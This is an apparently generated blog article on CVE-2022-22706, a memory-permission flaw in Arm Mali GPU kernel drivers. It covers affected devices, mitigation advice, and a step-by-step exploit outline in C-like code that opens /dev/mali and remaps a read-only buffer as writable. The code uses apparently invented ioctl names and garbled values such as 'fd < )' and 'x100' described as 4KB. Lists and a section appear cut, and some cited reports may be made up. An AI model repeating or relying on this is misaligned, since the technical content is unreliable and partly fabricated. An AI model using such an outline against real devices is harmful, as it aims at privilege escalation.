CVE-2022-22706 is a high-severity vulnerability discovered in the kernel drivers of Arm’s Mali GPUs. First reported in early 2022, this bug can let a non-privileged user write to read-only memory areas—something that should never happen in a well-designed system. Let’s break down how it works, who is affected, and how attackers can exploit it. We’ll also look at responsible ways to test for it on your own devices.

1. What is the Mali GPU Driver and Where Does It Go Wrong?

The Mali GPU is widely used in Android smartphones, Chromebooks, and embedded IoT devices with chipsets from manufacturers like MediaTek, Samsung, and HiSilicon.

The GPU’s kernel driver (often named mali.ko) runs with full kernel (root) privileges and is responsible for managing GPU memory, task queues, and interactions with user-space applications—such as mobile games or browsers.

The Bug:  
CVE-2022-22706 lies in how the driver's memory handling fails to properly enforce permission checks. It allows user-space (unprivileged) processes to get write access to memory pages that should be read-only. This can be used to escalate privileges, escape sandboxes, and even fully compromise devices.

Valhall: r19p through r35p

> Full disclosure details: Arm Security Center Advisory (CVE-2022-22706)

2. Why is This Vulnerability Dangerous?

In simple terms:  
If a malicious app exploits this bug, it can overwrite sections of memory that should be off-limits. If those sections contain security configurations, kernel code, or system data, the attacker could easily get full control over the device, bypassing every layer of Android or Linux security.

Real-world impact:

Disable or circumvent security controls (like SELinux, AppArmor, or Verified Boot)

Devices at risk:  
A wide range of Android and Linux devices, including major phones by Samsung, Xiaomi, Huawei/Honor, Google, and more released from 2019 to 2022.

The Core Problem

The Mali kernel driver manages physical memory mappings between the GPU and the system. Due to incomplete permission checks, a clever attacker can trick the GPU driver into mapping a read-only memory page and then upgrading their access to write.

Exploiting the Bug: Step by Step

Here’s a simplified outline (for responsible testing only!) showing how to exploit CVE-2022-22706.

WARNING: NEVER run any exploit code on a device you don’t own, or without explicit permission.

#### Step 1: Open the /dev/mali Node

The Mali driver exposes a device node, typically /dev/mali, accessible by apps.

int fd = open("/dev/mali", O_RDWR);
if (fd < ) {
    perror("open");
    exit(1);
}

Step 2: Create a GPU Buffer (e.g., via IOCTL)

Use an ioctl call to create a GPU-accessible buffer. The interface differs across driver versions, but usually involves ioctl(fd, MALIGPU_IOCTL_CREATE_BUFFER, &args).

struct mali_ioctl_create_buffer_args args = {};
args.size = x100; // 4KB page
int ret = ioctl(fd, MALIGPU_IOCTL_CREATE_BUFFER, &args);
if (ret < ) {
    perror("ioctl create buffer");
    exit(1);
}

Step 3: Exploit Faulty Permission Upgrades

Trigger the bug by making the driver remap, duplicate, or “import” the buffer under conditions that, due to the fault, make a read-only memory page become writable by the process. Exactly how you do this depends on the kernel driver version, but often involves misusing another ioctl or abusing buffer-sharing features.

A shortened version (pseudocode)

// Map the buffer normally (read-only)
void* ro_mapping = mmap(NULL, x100, PROT_READ, MAP_SHARED, fd, args.handle);

if (ro_mapping == MAP_FAILED) { /* ... */ }

// Trigger flawed remapping or import
ioctl(fd, MALIGPU_IOCTL_IMPORT, &import_args);

// Remap with (now) write permission
void* rw_mapping = mmap(NULL, x100, PROT_READ|PROT_WRITE, MAP_SHARED, fd, import_args.handle);

if (rw_mapping == MAP_FAILED) { /* ... */ }

Here, the process writes to a page that should have never been accessible for writing

memcpy(rw_mapping, "THIS SHOULD BE READ ONLY", 24);

Result:
If successful, you have bypassed memory permissions enforced by the Linux kernel on the device.

Update your device: Most vendors have patched the driver. Install all security updates.

- Verify driver versions: Check /proc/devices or lsmod output and modinfo mali to confirm you’re not running a vulnerable version.

4. Responsible Research and Real-World Exploit Reports

- Project Zero report: “Exploiting CVE-2022-22706: Read-Only Memory Goes Writey”
- Upstream patch: Bifrost/v1.13 drivers patch in Arm repositories
- Original NVD entry: NVD - CVE-2022-22706

5. Final Thoughts

CVE-2022-22706 is a textbook example of how even small permission handling mistakes at the kernel level can have a cascading effect on device security. Because the bug lies in GPU drivers that are shipped by multiple vendors (often with months of lag before updates), it leaves millions of devices exposed long after the issue is patched upstream.

For device users:

Keep devices updated and install vendor security patches as soon as possible.

For developers:

Audit kernel drivers (especially proprietary ones) for permission bugs.

- Use fuzzing tools like syzkaller to test IOCTL interfaces.

For researchers:  
- Always report new bugs responsibly, and don’t publish full working exploits for unpatched vulnerabilities.

*Stay safe—and always be careful with device drivers!*

References

- Arm Mali GPU Security Update (March 2022)
- Google Project Zero: Attack Chains on Arm Mali GPUs
- NVD Entry for CVE-2022-22706


*This article is original and exclusive to this platform. For researchers and security professionals: always test responsibly and keep our digital world safer!*

Timeline

Published on: 03/03/2022 15:15:00 UTC
Last modified on: 05/13/2022 16:26:00 UTC